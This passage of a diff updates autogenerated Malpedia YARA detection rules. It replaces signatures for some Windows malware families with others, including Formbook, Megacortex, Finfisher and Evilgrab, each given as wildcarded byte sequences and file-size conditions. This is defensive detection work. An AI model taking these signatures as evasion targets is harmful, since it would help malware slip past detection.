+		$sequence_7 = { 8b8520feffff 890424 e8???????? 83ec0c 83f8ff 752a 8b45c4 }
+		$sequence_8 = { e8???????? 8b45f4 890424 e8???????? 83c424 5b 5d }
+		$sequence_9 = { 8d45e8 c1000a 8b55f4 8d45e8 0110 8b45f0 f7d0 }
 
 	condition:
-		7 of them and filesize <262144
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Maoloa_Auto : FILE
+rule MALPEDIA_Win_Dnespy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c9cb938f-8aed-56a4-9406-4a70e3564e5d"
+		id = "70dfc3a2-0802-5571-8c6e-dca5ba3f52dd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maoloa_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnespy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dnespy_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "aa3156b629c721039014b4e703faa79f34b5d8a33e4caf3d82f64b9729ae8335"
+		logic_hash = "5f9d7d06b9dad4ee82945ca7222951c2d8150747511ca4dc6b623794062c6006"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129932,32 +137051,32 @@ rule MALPEDIA_Win_Maoloa_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b55fc 8bcb 85c0 7817 8d45f0 50 e8???????? }
-		$sequence_1 = { 50 ffb5f0e4ffff 8b35???????? ffd6 8b85c0e4ffff c1e015 03858ce5ffff }
-		$sequence_2 = { 8b4df8 33cd e8???????? 8be5 5d c3 befcffffff }
-		$sequence_3 = { 83c404 85f6 0f8590000000 6a01 8bd7 8bcf e8???????? }
-		$sequence_4 = { 85c0 8d8d00e0ffff 0f45ce 8bf1 89b5f8dfffff 8d85f8efffff 50 }
-		$sequence_5 = { b910000000 0f43c1 8d4c2418 2bf8 }
-		$sequence_6 = { 8d97a9cfde4b 33c1 894db4 0345d0 03d0 8b7db4 c1c20b }
-		$sequence_7 = { 8bd3 c707ffffffff 8bcf e8???????? 83c404 8bf0 8b85e0f9ffff }
-		$sequence_8 = { 0f1f00 0fb601 8d4901 30440eff 0fb641ff 30440aff 83ef01 }
-		$sequence_9 = { 5e 5b 8be5 5d c3 8d45f0 8bd1 }
+		$sequence_0 = { 83ec18 8d4508 8bcc 50 e8???????? ba01000000 8d4dc8 }
+		$sequence_1 = { f30f7e4594 8b459c 660fd645a4 8945ac 7209 8b0e 8bc1 }
+		$sequence_2 = { 8bf1 8954240c 57 8b7d08 89442414 837e4c00 7471 }
+		$sequence_3 = { 74e7 83f80d 74e2 40 83f87e 0f878b010000 }
+		$sequence_4 = { 6a50 668945e8 ff15???????? 668945ea 8d45e8 6a10 }
+		$sequence_5 = { 0f84f0000000 8bc8 e8???????? 8bd0 c745e000000000 8bca c745e40f000000 }
+		$sequence_6 = { 6a00 6a00 8d85e0cfffff 50 6a00 ff15???????? ffb5a0cfffff }
+		$sequence_7 = { 8a18 3a19 750a 40 41 3bc2 75f0 }
+		$sequence_8 = { 744b 8d45f4 c745f000000000 50 8d45f8 c745f800000000 50 }
+		$sequence_9 = { c685ebfeffff00 c685ecfeffff0f c685edfeffff0a c685eefeffff03 8a85dcfeffff c685effeffff00 0f1f440000 }
 
 	condition:
-		7 of them and filesize <586752
+		7 of them and filesize <794624
 }
-rule MALPEDIA_Win_Mofksys_Auto : FILE
+rule MALPEDIA_Win_Marap_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d4eb461a-0f9d-55f8-ba8b-2ce33ab04b0d"
+		id = "2cc3d8fa-aa39-5bef-af3b-a091606785c2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mofksys"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mofksys_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.marap"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.marap_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "79cea3cada5c4d8bb821159689e5cf75c88595dc32d8f5768a4b2ed694d76584"
+		logic_hash = "981ff96ccf9321bc9cf0b93466d635ede7fbc6c0341e04e670ea58028783ac37"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129971,32 +137090,32 @@ rule MALPEDIA_Win_Mofksys_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 8bd0 8d4de8 ffd6 8d8d60ffffff }
-		$sequence_1 = { 894dd4 c745fc07000000 8b55d8 52 e8???????? ff15???????? 8b45d4 }
-		$sequence_2 = { 83c40c c745fca1000000 ba???????? 8d4dc0 ff15???????? 8d4dc0 51 }
-		$sequence_3 = { f7de 3bf0 7209 ff15???????? 8b4dc0 8b4118 0fafc6 }
-		$sequence_4 = { ff15???????? 83c410 c745fc65000000 ba???????? 8d4dcc ff15???????? a1???????? }
-		$sequence_5 = { ff15???????? 8bd0 8d8d7cfcffff ffd6 50 ffd7 }
-		$sequence_6 = { a1???????? 8b4de4 50 51 ffd7 8bd0 8d4da8 }
-		$sequence_7 = { 3bc3 7d12 68e0000000 68???????? 56 50 }
-		$sequence_8 = { 83c201 0f80b2080000 52 8b45d0 50 68???????? }
-		$sequence_9 = { e8???????? 8d4ddc ff15???????? c745fc0f000000 68???????? 6a00 ff15???????? }
+		$sequence_0 = { e9???????? 8386e41d000002 e9???????? 8386e41d000003 }
+		$sequence_1 = { 7409 8386e41d000008 eb2f 84c0 7908 018ee41d0000 }
+		$sequence_2 = { ff15???????? 8bf0 89b59cfbffff 83feff 7472 }
+		$sequence_3 = { ff15???????? 85c0 7425 8b480c 8b11 8b02 }
+		$sequence_4 = { 81fb00040000 737e 8bc7 8bd7 668b08 }
+		$sequence_5 = { 0fbe84c1f8cb0010 6a07 c1f804 59 }
+		$sequence_6 = { 83c40c 8d7bfe 668b4702 83c702 6685c0 75f4 }
+		$sequence_7 = { 8d1c8580320110 8b03 83e71f c1e706 8a4c3824 }
+		$sequence_8 = { 8d4310 8d8954f40010 5a 668b31 }
+		$sequence_9 = { 80f901 0f8487000000 6683fa06 7519 84c0 }
 
 	condition:
-		7 of them and filesize <401408
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Backconfig_Auto : FILE
+rule MALPEDIA_Win_Auriga_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "18fd149c-ad9b-5433-8651-ac1dcd92de05"
+		id = "3e414b5e-c2de-5c81-b4bc-c099cfe4cd7e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backconfig"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.backconfig_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.auriga_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "dc29e43fa81d60d5f53e6f4d5e158937c417e8f12650929b20d71338a8cb5ead"
+		logic_hash = "cddd7158b581ccab9be1a01dbee785ac04d84e6e50041126742a64808d1b3062"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130010,32 +137129,32 @@ rule MALPEDIA_Win_Backconfig_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { a1???????? 8b0d???????? 8b15???????? 8985f0feffff a1???????? 6a51 8985fcfeffff }
-		$sequence_1 = { e8???????? 8b4de4 83c40c 6bc930 8975e0 8db1682a4100 }
-		$sequence_2 = { 8a15???????? 8d8569ffffff 6a00 50 898d64ffffff 889568ffffff }
-		$sequence_3 = { c1f805 8d1485c0504100 8b0a 83e61f c1e606 03ce }
-		$sequence_4 = { 8bc3 c1f805 8d3c85c0504100 8bf3 83e61f c1e606 8b07 }
-		$sequence_5 = { 8b0d???????? 8b15???????? 8985f0feffff a1???????? 6a51 8985fcfeffff 898df4feffff }
-		$sequence_6 = { 8d8d2cfdffff 68???????? 51 e8???????? 83c414 68401f0000 }
-		$sequence_7 = { 6a00 50 898d64ffffff 889568ffffff e8???????? }
-		$sequence_8 = { 8bf1 83e61f 8d3c85c0504100 8b07 c1e606 f644300401 7436 }
-		$sequence_9 = { 8bec 8b4508 56 8d34c550224100 833e00 7513 }
+		$sequence_0 = { 90 5f bb???????? 81eb???????? 2bfb 8bf7 e8???????? }
+		$sequence_1 = { 755b 817e0c03001200 7552 57 }
+		$sequence_2 = { e8???????? c9 c20c00 ffb508fcffff 8b8504fcffff 8d8405fcfbffff }
+		$sequence_3 = { 4a 3bda 745e 7345 2bd3 }
+		$sequence_4 = { 7408 8b0d???????? 8908 56 8b7508 837e0400 7422 }
+		$sequence_5 = { 53 53 6a01 6a01 56 ff15???????? 8945dc }
+		$sequence_6 = { 84c0 7511 ff7510 ff15???????? }
+		$sequence_7 = { ff45fc 8b4dec ff4df8 2bcb 295df4 ff45f8 }
+		$sequence_8 = { ffd3 8b45fc 85c0 7539 ff750c 8d45f4 }
+		$sequence_9 = { 8b85e8fbffff 85c0 7566 ffb5ecfbffff 8d85f0fbffff }
 
 	condition:
-		7 of them and filesize <217088
+		7 of them and filesize <75776
 }
-rule MALPEDIA_Win_Turian_Auto : FILE
+rule MALPEDIA_Win_Formbook_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ddf0a4a2-a5a9-518b-8b9f-2682f3c9390d"
+		id = "5884ccaf-7c22-509b-b936-d78ce47dc38a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turian"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.turian_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.formbook_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "9c66c121bddd393e74452e6591ffaf152302a762e1679695f5fb6277ed317972"
+		logic_hash = "1856083163db4d487acf8602c72ba34a2aeebb6a0e8b028efa10c5ca24fd0c49"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130049,32 +137168,32 @@ rule MALPEDIA_Win_Turian_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ff15???????? 89450c 8bf8 33c0 }
-		$sequence_1 = { e8???????? 83c404 85c0 740d 8d4c2410 51 }
-		$sequence_2 = { ffd7 8b3d???????? 53 ffd7 56 ffd7 83c408 }
-		$sequence_3 = { 81ec88000000 53 55 56 57 b921000000 33c0 }
-		$sequence_4 = { 85c0 750a 5f 5e 5d 81c49c000000 c3 }
-		$sequence_5 = { 729b 53 ff15???????? 83c404 a1???????? 85c0 750f }
-		$sequence_6 = { 72ba 68???????? ff15???????? 5f 5e 5d 83c8ff }
-		$sequence_7 = { 66a3???????? 5b c3 6a3f 50 }
-		$sequence_8 = { 7403 c60000 68???????? 56 ffd7 85c0 }
-		$sequence_9 = { ffd5 85c0 750e 8d4f46 8d5642 }
+		$sequence_0 = { 5b 5f 5e 8be5 5d c3 8d0476 }
+		$sequence_1 = { 6a0d 8d8500fcffff 50 56 e8???????? 8d8d00fcffff 51 }
+		$sequence_2 = { 56 e8???????? 8d4df4 51 56 e8???????? 8d55e4 }
+		$sequence_3 = { c3 3c04 752b 8b7518 8b0e 8b5510 8b7d14 }
+		$sequence_4 = { 56 e8???????? 83c418 395df8 0f85a0000000 8b7d18 395f10 }
+		$sequence_5 = { c745fc01000000 e8???????? 6a14 8d4dec 51 50 }
+		$sequence_6 = { e8???????? 83c428 8906 85c0 75a8 5f 33c0 }
+		$sequence_7 = { 56 e8???????? 6a03 ba5c000000 57 56 66891446 }
+		$sequence_8 = { 3b75d0 72c0 8d55f8 52 e8???????? }
+		$sequence_9 = { 8d8df6f7ffff 51 c745fc00000000 668985f4f7ffff e8???????? 8b7508 }
 
 	condition:
-		7 of them and filesize <645120
+		7 of them and filesize <371712
 }
-rule MALPEDIA_Win_Jackpos_Auto : FILE
+rule MALPEDIA_Win_Megacortex_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "095b3872-c166-52ad-a52d-1faeb1056a2e"
+		id = "7fddab37-921e-5d3c-ad85-73c5c61f21f7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jackpos_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.megacortex_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "45db7695f021a95c6d3c662e5ca72119b052256c8a3ceeaf6c22b39c2e1870c0"
+		logic_hash = "c51529de49cb40cceae5744ecd99824ed147bc3c171c405f7c4b90f895a230e9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130088,32 +137207,32 @@ rule MALPEDIA_Win_Jackpos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b5604 eb03 8d5604 2bc7 03c0 50 }
-		$sequence_1 = { d1f8 03d0 eb0f 85c0 }
-		$sequence_2 = { 75ed 837df408 8b4dfc 7202 }
-		$sequence_3 = { 8b4508 e8???????? 8b7d08 8b550c 8b4718 3b7d10 747e }
-		$sequence_4 = { 52 8bf0 53 897588 e8???????? }
-		$sequence_5 = { 7303 8d45d8 8d4dac 51 50 e8???????? 8b55b4 }
-		$sequence_6 = { 85ff 7f87 5f 8bc6 5e 5b }
-		$sequence_7 = { 8b4604 33c9 66890c03 5f 8bc6 }
-		$sequence_8 = { 765a 8b4a14 57 3bc1 734e 2bc8 8bf9 }
-		$sequence_9 = { 037214 ebc4 5f 5e 5d }
+		$sequence_0 = { 50 e8???????? 8b7d0c 8bf0 83c40c 85f6 0f8517010000 }
+		$sequence_1 = { 895d84 7202 8b06 6a00 6800000003 6a03 6a00 }
+		$sequence_2 = { 50 8d85c4fdffff 50 e8???????? 8b95e0fdffff 83c408 c645fc01 }
+		$sequence_3 = { 8d4101 2bf0 89450c 8975ec ff7508 83fe03 0f823a020000 }
+		$sequence_4 = { e8???????? 8b4508 8d4d08 83c404 c645f801 8945fc c7450800000000 }
+		$sequence_5 = { 83f81f 0f87b70e0000 52 51 e8???????? 83c408 33c0 }
+		$sequence_6 = { f7d8 1bc0 23c1 50 8b45ec 51 8bf4 }
+		$sequence_7 = { 1bf6 23f1 8bce 2bca 85f6 be01000000 0f44ce }
+		$sequence_8 = { e8???????? 83c40c 8d8d2cffffff e8???????? 8d8d44ffffff c645fc2e e8???????? }
+		$sequence_9 = { 6a00 6a00 68000000c0 8d45cc c645fc05 50 8d8d28feffff }
 
 	condition:
-		7 of them and filesize <319488
+		7 of them and filesize <1556480
 }
-rule MALPEDIA_Win_Diavol_Auto : FILE
+rule MALPEDIA_Win_Classfon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fdab7e4d-8bbf-526f-9dd1-9c3eccb8a369"
+		id = "68a5b428-fba0-5238-83c9-3255bfbb3ff5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.diavol_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.classfon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.classfon_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "8bc41d08eecdbb842d56f4530baf282b624ea1b70952493cedafeb9a5a3b5234"
+		logic_hash = "752d9b4933679b22e7a2ada3974321921c7722355427af1c70ee3b8ff2e5df5f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130127,32 +137246,32 @@ rule MALPEDIA_Win_Diavol_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8bf0 83feff 0f8474010000 }
-		$sequence_1 = { 8d8df8fdffff 51 b9???????? e8???????? 83c404 84c0 }
-		$sequence_2 = { 74cf 8bc7 ebce 66833800 7520 }
-		$sequence_3 = { e8???????? 8b4df8 83c40c 5f 5e 33cd b001 }
-		$sequence_4 = { 83fb01 7503 894df8 8b4d10 8bc3 }
-		$sequence_5 = { 752c 6a02 53 ff15???????? }
-		$sequence_6 = { e8???????? 83c40c 8b4dfc 5f 5e 33cd b001 }
-		$sequence_7 = { 6a10 46 8d843594f7ffff 68???????? 50 e8???????? }
-		$sequence_8 = { 8d45e4 50 8bc8 51 57 8bd0 }
-		$sequence_9 = { 0f84ee000000 53 57 33db 8d9b00000000 }
+		$sequence_0 = { 85c0 7462 8b542408 8b8e00020000 8b44240c }
+		$sequence_1 = { 8b742418 83f8ff 898600020000 7508 5f 33c0 }
+		$sequence_2 = { 50 ffd3 89be04020000 8b8600020000 3bc7 740e }
+		$sequence_3 = { 8b1d???????? a1???????? 50 57 ff15???????? }
+		$sequence_4 = { 8d4c241c 8d542424 51 8b4c2414 8d442424 52 }
+		$sequence_5 = { 8d842430020000 50 ffd7 8d8c2430010000 51 ffd7 8b542424 }
+		$sequence_6 = { 6a00 6a00 6a00 6802000004 6a00 899610020000 }
+		$sequence_7 = { 68???????? 51 c744242802000000 c744242c2c010000 ff15???????? }
+		$sequence_8 = { 50 ff15???????? 8bd8 83fbff 0f849c000000 8b470c 8b5708 }
+		$sequence_9 = { 0f85c3000000 8b460c 85c0 0f84c0000000 03c5 }
 
 	condition:
-		7 of them and filesize <191488
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Telb_Auto : FILE
+rule MALPEDIA_Win_Graphsteel_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "41000399-e9f0-5453-bf9a-ecf53c98abcc"
+		id = "5824e278-153d-5fe0-a214-d93680fdb8e7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.telb"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.telb_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graphsteel_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "96b99ffd86058bdff13d6d8551ee9f8fb32df4a8153fed924c3d3ed45dd1d6ae"
+		logic_hash = "0a7069cfdac89882eeae5b943786ae3bcce2789fc825f256679c381850fffe14"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130166,32 +137285,32 @@ rule MALPEDIA_Win_Telb_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c744242400000000 e8???????? 68???????? ff15???????? a3???????? 8d4c2430 6a12 }
-		$sequence_1 = { 68???????? 8d8c24a4000000 e8???????? 8d8c24a0000000 e8???????? 8d8c24a0000000 }
-		$sequence_2 = { 668908 8d8d68eeffff c645fc26 e8???????? 8d8d68eeffff e8???????? 8d8dd0efffff }
-		$sequence_3 = { 8945fc 85f6 7407 83feff 746f eb69 8b1c9d485c4100 }
-		$sequence_4 = { 50 e8???????? 8b853ceeffff 83c40c 8985b0efffff 89b5b4efffff c645fc35 }
-		$sequence_5 = { 8d85f0bfffff 50 ff15???????? 85c0 0f847b020000 6800200000 }
-		$sequence_6 = { 0f8796150000 52 51 e8???????? 83c408 807c241200 }
-		$sequence_7 = { 8d442468 50 e8???????? 837c244408 8d4c2430 }
-		$sequence_8 = { 0f438570efffff 8d8d88efffff 50 e8???????? 6a01 68???????? 8d8d88efffff }
-		$sequence_9 = { 85f6 0f8551010000 a1???????? b9???????? 83c0f5 50 56 }
+		$sequence_0 = { e8???????? 488d7830 488b4c2440 0f1f4000 e8???????? 4889c3 488d05415b3900 }
+		$sequence_1 = { ffd0 488bb42428010000 488b942410020000 4885d2 0f8401010000 488b4c2450 488d1d88ae4400 }
+		$sequence_2 = { e9???????? a810 0f84f1000000 84d2 0f888c010000 8954245c 83fa0b }
+		$sequence_3 = { e8???????? e8???????? 90 31c9 488d150f198e00 870a 8b0d???????? }
+		$sequence_4 = { e9???????? 4c8b4c2468 4d85c9 0f84b1000000 4c8b9424d8030000 4d8b9a88000000 498b4b08 }
+		$sequence_5 = { e8???????? 4909c5 0fb603 83c05b a8fb 0f85a0000000 488b4340 }
+		$sequence_6 = { e9???????? 8b8424a0010000 4189d9 ba35000000 4c89e9 448b842498010000 41bf06000000 }
+		$sequence_7 = { e9???????? 4885f6 0f8520ffffff 4c8d742440 4889d9 4d8b4550 c744244001080000 }
+		$sequence_8 = { eb11 488d7830 488b9424e0000000 e8???????? 488b542438 48895050 488b542440 }
+		$sequence_9 = { e8???????? c644243507 488d05e3cc3300 488b9c24c8000000 488d4c2435 e8???????? 48c7400806000000 }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <19812352
 }
-rule MALPEDIA_Win_Alice_Atm_Auto : FILE
+rule MALPEDIA_Win_Finfisher_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "66f601ee-4bc7-50a3-954d-4444abf4a52f"
+		id = "3ef79a6b-24c3-58ed-a290-c5a2a7e3fb1b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alice_atm_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.finfisher_auto.yar#L1-L148"
 		license_url = "N/A"
-		logic_hash = "5f587bc558ca0a42c8c96fe5a1cfb47b3decdd71da86c983392de940e1606224"
+		logic_hash = "dcf5252aa492d908a47d122045beaf12bf03e72009d0665a415b9ab4e015a1e5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130205,32 +137324,36 @@ rule MALPEDIA_Win_Alice_Atm_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff75f8 8f45fc ff7508 e8???????? 8b45fc }
-		$sequence_1 = { 0fb7c0 8945f8 8b7d10 83ff00 0f86c2000000 }
-		$sequence_2 = { c9 c20c00 55 8bec 81c4a4feffff }
-		$sequence_3 = { 894609 837f0414 7305 8b5704 }
-		$sequence_4 = { 897dfc 8d9df6fdffff 53 ff7508 e8???????? 0bc0 }
-		$sequence_5 = { 57 e8???????? 0bc0 0f848b000000 53 6804010000 }
-		$sequence_6 = { 53 e8???????? 57 6806020000 56 }
-		$sequence_7 = { 50 68???????? 68???????? 8d45e8 50 68???????? 6a05 }
-		$sequence_8 = { 6a00 6a00 6809100000 ff7320 e8???????? 8945fc }
-		$sequence_9 = { 0f85ce000000 68ea030000 ff7508 e8???????? 8bf8 }
+		$sequence_0 = { 68???????? 6804010000 8d85ccf9ffff 50 }
+		$sequence_1 = { 56 8d85ccf9ffff 50 e8???????? }
+		$sequence_2 = { 6a20 6a03 8d8594f7ffff 50 8d8578f7ffff 50 68000000c0 }
+		$sequence_3 = { 663bc1 7506 8345e404 ebd8 }
+		$sequence_4 = { 0f853affffff c785d0fbffffd5d8ffff e9???????? 8b07 83e808 }
+		$sequence_5 = { 52 68a0608000 eb11 8b4708 8b4dd4 }
+		$sequence_6 = { 397714 7403 56 eb02 6a02 56 50 }
+		$sequence_7 = { e8???????? 56 e8???????? 8b861c030000 3d10270000 }
+		$sequence_8 = { 56 8d859cf7ffff 50 56 a1???????? }
+		$sequence_9 = { 85db 7424 8b17 8d448614 8b08 }
+		$sequence_10 = { e9???????? 8b859cf7ffff ff7004 ff15???????? 8985c0f7ffff 8b8d9cf7ffff }
+		$sequence_11 = { 6a09 ff15???????? 3bc6 7490 8bd0 }
+		$sequence_12 = { ffb5b8f7ffff eb5f 8d8578f7ffff 50 6a01 8d85acf7ffff }
+		$sequence_13 = { 8d85acfbffff 50 53 56 }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <262144
 }
-rule MALPEDIA_Win_Bootwreck_Auto : FILE
+rule MALPEDIA_Win_Evilgrab_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7e23b82b-3bdc-58cd-906f-3ab5825b9ffb"
+		id = "92d56cb6-a40e-55a9-bb4b-7f3303d7e68c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bootwreck_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.evilgrab_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "49dbec8ae0163fe1b10f7b427af3210b6bbd81884139d209319f2b77e78ba995"
+		logic_hash = "89c0b96a8a59594e704b0e35c7d209399933043505a45ecc6b5a8cd70ad1865a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130244,32 +137367,71 @@ rule MALPEDIA_Win_Bootwreck_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33ff 897dfc 3b1cfde0c18100 7409 47 897dfc }
-		$sequence_1 = { 8d642428 0f8409000000 660fbec2 86c7 8b4510 55 660fb6da }
-		$sequence_2 = { 85b178373e03 025ad9 7efa 99 18c7 7e55 }
-		$sequence_3 = { c74424147d978300 682dedfcaa 9c 89442418 9c 9c ff742420 }
-		$sequence_4 = { ee 5b 7f3f 99 68e43b3fa7 6c }
-		$sequence_5 = { 876c2428 66891c24 688106ab60 896c2428 5d 66896c2404 bd???????? }
-		$sequence_6 = { 8955fc f9 8d9b00000000 30e1 37 d4b7 8b4d08 }
-		$sequence_7 = { ff4638 88c3 66f7d6 b37c 5b 660fb6f9 5f }
-		$sequence_8 = { c25400 c7042400000000 60 8774241c 8d64241c 0f8103500500 }
-		$sequence_9 = { 8d041f f7c5036c87b2 99 84ed f8 60 6681fb744d }
+		$sequence_0 = { 50 50 50 52 89442440 89442434 89442438 }
+		$sequence_1 = { 8dbdb8f5ffff f3a5 a4 b909000000 be???????? 8dbd5cf4ffff f3a5 }
+		$sequence_2 = { c3 8d45c4 50 6a03 68???????? 8b0e 81c1d2000000 }
+		$sequence_3 = { 8b9534aeffff 52 8bcb e8???????? 85c0 7531 6aa7 }
+		$sequence_4 = { 8b35???????? e9???????? 8b85c8adffff 898540a3ffff 50 e8???????? 8b85c0adffff }
+		$sequence_5 = { 6a00 85f6 6a00 7567 }
+		$sequence_6 = { 52 8b45d4 8b481c 51 e8???????? }
+		$sequence_7 = { 52 8b35???????? ffd6 d1e0 898565a4ffff }
+		$sequence_8 = { 52 68???????? 53 ffd5 83c410 6880000000 53 }
+		$sequence_9 = { 33c0 8dbdf0efffff f3ab c685f0efffffd0 668b5304 52 e8???????? }
+
+	condition:
+		7 of them and filesize <327680
+}
+rule MALPEDIA_Win_Snojan_Auto : FILE
+{
+	meta:
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "96ddba9d-1a09-5178-a027-761c3b0ea160"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.snojan_auto.yar#L1-L121"
+		license_url = "N/A"
